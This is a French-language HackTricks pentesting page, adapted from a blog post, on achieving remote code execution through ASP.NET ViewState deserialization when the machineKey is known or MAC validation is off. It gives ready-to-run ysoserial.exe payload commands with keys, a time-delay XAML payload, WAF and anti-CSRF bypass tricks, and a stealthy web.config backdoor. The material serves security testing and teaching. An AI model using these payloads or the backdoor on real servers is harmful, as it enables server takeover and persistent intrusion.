hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
2023-06-03 13:10:46 +00:00

24 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Le contenu de ce post a été extrait de https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

Introduction

Les applications web ASP.NET utilisent ViewState pour maintenir l'état d'une page et persister les données dans un formulaire web.

Il est normalement possible d'exécuter du code sur un serveur web où un ViewState valide peut être forgé. Cela peut être fait lorsque la fonctionnalité de validation MAC a été désactivée ou en connaissant :

  • La clé de validation et son algorithme avant la version 4.5 de .NET Framework
  • La clé de validation, l'algorithme de validation, la clé de décryptage et l'algorithme de décryptage dans la version 4.5 ou supérieure de .NET Framework

Afin de prévenir les attaques de manipulation, .NET Framework peut signer et chiffrer le ViewState qui a été sérialisé en utilisant la classe LosFormatter. Il vérifie ensuite la signature en utilisant le mécanisme de validation de code d'authentification de message (MAC). La classe ObjectStateFormatter effectue les tâches de signature, de chiffrement et de vérification. Les clés requises pour effectuer le mécanisme de signature et/ou de chiffrement peuvent être stockées dans la section machineKey des fichiers web.config (niveau d'application) ou machine.config (niveau de la machine). C'est généralement le cas lorsque plusieurs serveurs web sont utilisés pour servir la même application souvent derrière un équilibreur de charge dans une ferme web ou un cluster. Ce qui suit montre le format de la section machineKey dans un fichier de configuration d'une application ASP.NET qui utilise la version 2.0 ou supérieure de .NET Framework :

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

Il convient de noter que lorsqu'une section machineKey n'a pas été définie dans les fichiers de configuration ou lorsque les attributs validationKey et decryptionKey ont été définis sur AutoGenerate, l'application génère les valeurs requises de manière dynamique en fonction d'un secret cryptographique aléatoire. Les algorithmes peuvent également être sélectionnés automatiquement. Actuellement, dans la dernière version du framework .NET, l'algorithme de validation par défaut est HMACSHA256 et l'algorithme de décryptage par défaut est AES. Voir [13] pour plus de détails.

RCE avec validation MAC ViewState désactivée

Dans le passé, il était possible de désactiver la validation MAC simplement en définissant la propriété enableViewStateMac sur False. Microsoft a publié un correctif en septembre 2014 [3] pour imposer la validation MAC en ignorant cette propriété dans toutes les versions du framework .NET. Bien que certains d'entre nous puissent croire que "la validation MAC ViewState ne peut plus être désactivée" [4], il est toujours possible de désactiver la fonctionnalité de validation MAC en définissant la clé de registre AspNetEnforceViewStateMac sur zéro dans:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

En alternative, l'ajout du paramètre dangereux suivant au fichier web.config de niveau application peut également désactiver la validation MAC :

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

{% hint style="danger" %} Lorsque la validation MAC de ViewState a été désactivée, le projet YSoSerial.Net peut être utilisé pour générer des charges utiles LosFormatter en tant que ViewState afin d'exécuter du code arbitraire sur le serveur. {% endhint %}

Avant la version 4.5 du Framework .NET, le paramètre __VIEWSTATE pouvait être crypté alors que la fonctionnalité de validation MAC était désactivée. Il convient de noter que la plupart des scanners ne tentent pas d'envoyer un paramètre ViewState non crypté pour identifier cette vulnérabilité. Par conséquent, un test manuel est nécessaire pour vérifier si la validation MAC est désactivée lorsque le paramètre __VIEWSTATE a été crypté. Cela peut être vérifié en envoyant une courte chaîne aléatoire en base64 dans le paramètre __VIEWSTATE. L'URL suivante montre un exemple :

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

Si la page cible répond avec une erreur, la fonctionnalité de validation MAC a été désactivée sinon elle aurait supprimé le message d'erreur de validation MAC.
Cependant, dans les scénarios où vous ne pouvez pas voir le message d'erreur, cette astuce ne fonctionnera pas.

Les scanners automatisés devraient utiliser une charge utile qui provoque un court délai côté serveur. Cela peut être réalisé en exécutant le code ASP.NET suivant, par exemple, pour créer un délai de 10 secondes :

System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
     <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

RCE avec validation MAC ViewState activée

Dans les anciennes versions (antérieures à 4.5), le Framework .NET utilise la propriété TemplateSourceDirectory [15] lors de la signature d'un objet sérialisé. Cependant, depuis la version 4.5, il utilise les chaînes Purpose pour créer le hash. Ces deux mécanismes requièrent le chemin cible à partir de la racine du répertoire de l'application et le nom de la page. Ces paramètres peuvent être extraits de l'URL.

Les applications qui utilisent un ancien framework et qui imposent le chiffrement ViewState peuvent encore accepter un ViewState signé sans chiffrement. Cela signifie que connaître la clé de validation et son algorithme est suffisant pour exploiter un site web. Il semble que ViewState soit chiffré par défaut depuis la version 4.5 même lorsque la propriété viewStateEncryptionMode a été définie sur Never. Cela signifie que dans les dernières versions du Framework .NET, la clé de déchiffrement et son algorithme sont également requis pour créer une charge utile.

Le ViewState ASP.NET contient une propriété appelée ViewStateUserKey [16] qui peut être utilisée pour atténuer les risques d'attaques de falsification de requêtes intersites (CSRF) [4]. La valeur de la propriété ViewStateUserKey (lorsqu'elle n'est pas null) est également utilisée pendant le processus de signature ViewState. Bien que ne pas connaître la valeur de ce paramètre puisse arrêter notre attaque, sa valeur peut souvent être trouvée dans les cookies ou dans un paramètre d'entrée caché ([17] montre un exemple implémenté).

Plugins ViewState YSoSerial.Net

Dans YSoSerial.Net master et YSoSerial.Netv2, vous pouvez trouver un plugin (celui-ci et celui-ci) pour exploiter cette technique lorsque toutes les informations sont connues.

Pour .NET Framework >= 4.5:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Pour .NET Framework <= 4.0 (héritage):

La clé de décryptage et son algorithme ne sont pas nécessaires ici:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

A part d'utiliser différents gadgets, il est possible d'utiliser le paramètre __VIEWSTATEGENERATOR au lieu de fournir les chemins :

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Il utilise par défaut le gadget ActivitySurrogateSelector qui nécessite la compilation de la classe ExploitClass.cs dans le projet YSoSerial.Net. La charge utile ViewState peut également être chiffrée pour éviter les pare-feux applicatifs Web lorsque la valeur decryptionKey est connue :

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

{% hint style="info" %} Note : En raison de la nature des gadgets utilisés dans YSoSerial.Net, la page ASP.NET cible répond toujours avec une erreur même si une exploitation a été exécutée avec succès côté serveur. {% endhint %}

Chemin de l'application

Il est important de trouver la racine du chemin de l'application afin de créer un ViewState valide, sauf si :

  • L'application utilise la version 4.0 ou inférieure du Framework .NET ; et
  • Le paramètre __VIEWSTATEGENERATOR est connu.

La capture d'écran suivante montre l'arborescence des chemins dans IIS :

Vous pouvez consulter [20] si vous n'êtes pas familier avec les termes de répertoire virtuel et d'application dans IIS.

Pour générer un ViewState pour l'URL ci-dessus, les arguments --path et --apppath doivent être les suivants :

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/ 

Si nous ne savions pas que "app2" était un nom d'application, nous pourrions utiliser l'essai et l'erreur pour tester tous les noms de répertoires dans l'URL un par un jusqu'à trouver un ViewState qui peut exécuter du code sur le serveur (peut-être en obtenant une demande DNS ou en causant un délai).

Générateur

Dans ce cas, l'argument --generator peut être utilisé. L'argument --isdebug peut être utilisé pour vérifier si le plugin calcule également le même paramètre __VIEWSTATEGENERATOR lorsque les arguments --path et --apppath ont été fournis.

Exploitation des anciennes versions

Aucun gadget n'a été identifié pour exploiter .NET Framework v1.1 au moment de la rédaction de ce billet de blog.

Pour exploiter les applications qui utilisent .NET Framework v4.0 ou inférieur, la branche YSoSerial.Net v2.0 [21] peut être utilisée (cela a été développé à l'origine dans le cadre d'une autre recherche [22]). Cependant, ce projet ne prend en charge qu'un nombre limité de gadgets et nécessite également que la boîte cible ait .NET Framework 3.5 ou une version supérieure installée.

Autres outils

Il semble qu'Immunity Canvas supporte la création du paramètre ViewState lorsque les clés de validation et de chiffrement sont connues [29]. Les outils suivants ont également été publiés par coïncidence au moment où j'allais publier mon travail, ce qui était assez surprenant :

Je pense que ces outils ne différencient actuellement pas entre les différentes versions de .NET Framework et ciblent la cryptographie héritée. De plus, ils n'utilisent pas le paramètre ViewStateUserKey qui pourrait être utilisé pour arrêter les attaques CSRF.

Conseils supplémentaires

Utilisation de requêtes GET

Il est également possible d'envoyer le paramètre __VIEWSTATE dans l'URL via une requête GET. Le seul facteur limitant est la longueur de l'URL qui limite le type de gadgets qui peuvent être utilisés ici.

Chiffrement dans .NET Framework antérieur à la version 4.5

Comme mentionné précédemment, le paramètre __VIEWSTATE n'a pas besoin d'être chiffré lors de l'exploitation de .NET Framework 4.0 et inférieur (testé sur v2.0 à v4.0) même lorsque la propriété ViewStateEncryptionMode a été définie sur Always. ASP.NET décide si le ViewState a été chiffré ou non en trouvant le paramètre __VIEWSTATEENCRYPTED dans la requête (il n'a pas besoin d'avoir de valeur). Par conséquent, il est possible d'envoyer un ViewState non chiffré en supprimant le paramètre __VIEWSTATEENCRYPTED de la requête.

Cela signifie également que le changement de la clé de déchiffrement ou de son algorithme ne peut pas arrêter les attaques lorsque la clé de validation et son algorithme ont été volés.

Le paramètre __VIEWSTATE peut être chiffré pour contourner les WAF.

Contournement du mécanisme anti-CSRF (anti-XSRF)

Une page ASP.NET produit une erreur lorsqu'un paramètre __VIEWSTATE invalide est utilisé. Cependant, la page peut toujours recevoir ses entrées lorsque Request.Form est utilisé directement dans le code, par exemple en utilisant Request.Form["txtMyInput"] plutôt que txtMyInput.Text. L'attaque CSRF peut être réalisée en supprimant le paramètre __VIEWSTATE de la requête ou en ajoutant le paramètre __PREVIOUSPAGE avec une valeur invalide. Comme le paramètre __PREVIOUSPAGE est crypté et formaté en base64 par défaut, même la fourniture d'un seul caractère comme valeur devrait provoquer une erreur.

Cela peut entraîner le contournement du mécanisme de protection anti-CSRF qui a été mis en place en définissant le paramètre Page.ViewStateUserKey.

Utilisation du paramètre ViewStateGenerator

Lorsque le paramètre __VIEWSTATEGENERATOR est connu, il peut être utilisé pour les applications ASP.NET qui utilisent la version .NET Framework 4.0 ou inférieure afin de signer un objet sérialisé sans connaître le chemin d'application.

Découpage du ViewState pour contourner les WAF

Il est possible de diviser le paramètre __VIEWSTATE en plusieurs parties lorsque la propriété MaxPageStateFieldLength a été définie sur une valeur positive. Sa valeur par défaut est négative et cela signifie que le paramètre __VIEWSTATE ne peut pas être divisé en plusieurs parties.

Cela peut être utile pour contourner certains WAF lorsque le découpage du ViewState est autorisé.

Exploitation du paramètre EventValidation

Le paramètre __EVENTVALIDATION et quelques autres paramètres sont également sérialisés de manière similaire au paramètre __VIEWSTATE et peuvent être ciblés de manière similaire. L'exploitation d'un problème de désérialisation via __EVENTVALIDATION est plus restreinte et nécessite :

  • Une requête POST
  • Une page ASP.NET qui accepte des paramètres d'entrée
  • Un nom de paramètre d'entrée valide. Par exemple, le paramètre myinput dans la requête POST lorsque nous avons le code suivant côté serveur :
<asp:TextBox runat="server" ID="myinput" />

La valeur du paramètre __VIEWSTATE peut être vide dans la requête lors de l'exploitation du paramètre __EVENTVALIDATION, mais elle doit exister.

La chaîne Purpose utilisée par .NET Framework 4.5 et supérieur pour créer une signature valide est différente en fonction du paramètre utilisé. Le tableau suivant montre les chaînes Purpose définies dans .NET Framework :

Paramètre d'entrée Chaîne Purpose
“__VIEWSTATE” WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION” WebForms.ClientScriptManager.EventValidation
P2 dans P1|P2 dans “__dv” + ClientID + “__hidden” WebForms.DetailsView.KeyTable
P4 dans P1|P2|P3|P4 dans “__CALLBACKPARAM” WebForms.DetailsView.KeyTable
P3 dans P1|P2|P3|P4 dans “__gv” + ClientID + “__hidden” WebForms.GridView.SortExpression
P4 dans P1|P2|P3|P4 dans “__gv” + ClientID + “__hidden” WebForms.GridView.DataKeys

Le tableau ci-dessus montre tous les paramètres d'entrée qui peuvent être ciblés.

Attention au paramètre PreviousPage

Lorsque le paramètre __PREVIOUSPAGE existe dans la requête avec des données invalides, l'application ne désérialise pas le paramètre __VIEWSTATE. Fournir le paramètre __CALLBACKID empêche ce comportement.

Fiabilité des erreurs

Comme expliqué précédemment, nous utilisons parfois des erreurs pour vérifier si un ViewState généré est valide. ASP.NET n'affiche pas l'erreur de validation MAC par défaut lorsqu'un paramètre __VIEWSTATEGENERATOR invalide est utilisé. Ce comportement change lorsque la propriété ViewStateUserKey est utilisée, car ASP.NET ne supprime plus les erreurs de validation MAC.

En plus de cela, les applications web ASP.NET peuvent ignorer les erreurs de validation MAC avec le paramètre suivant même lorsque la propriété ViewStateUserKey est utilisée :

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

Web.config comme une porte dérobée

Si les attaquants peuvent modifier le fichier web.config à la racine d'une application, ils peuvent facilement exécuter du code sur le serveur. Cependant, intégrer une porte dérobée furtive dans l'application pourrait être un bon choix pour un attaquant. Cela peut être fait en désactivant la validation MAC et en définissant la propriété viewStateEncryptionMode sur Always. Cela signifie que toutes les pages ASP.NET qui ne définissent pas la propriété ViewStateEncryptionMode sur Auto ou Never utilisent toujours des paramètres ViewState chiffrés. Cependant, comme les ViewState n'utilisent pas la fonctionnalité de validation MAC, ils sont maintenant vulnérables à l'exécution de code à distance via la désérialisation de données non fiables. L'exemple suivant montre cela:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

Une autre option pour un site web autonome serait de définir la section machineKey avec des clés et des algorithmes arbitraires pour empêcher d'autres attaquants !

Il convient de noter que la définition de la propriété EnableViewState sur False ne permet pas d'arrêter cette attaque car le ViewState sera toujours analysé par ASP.NET.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥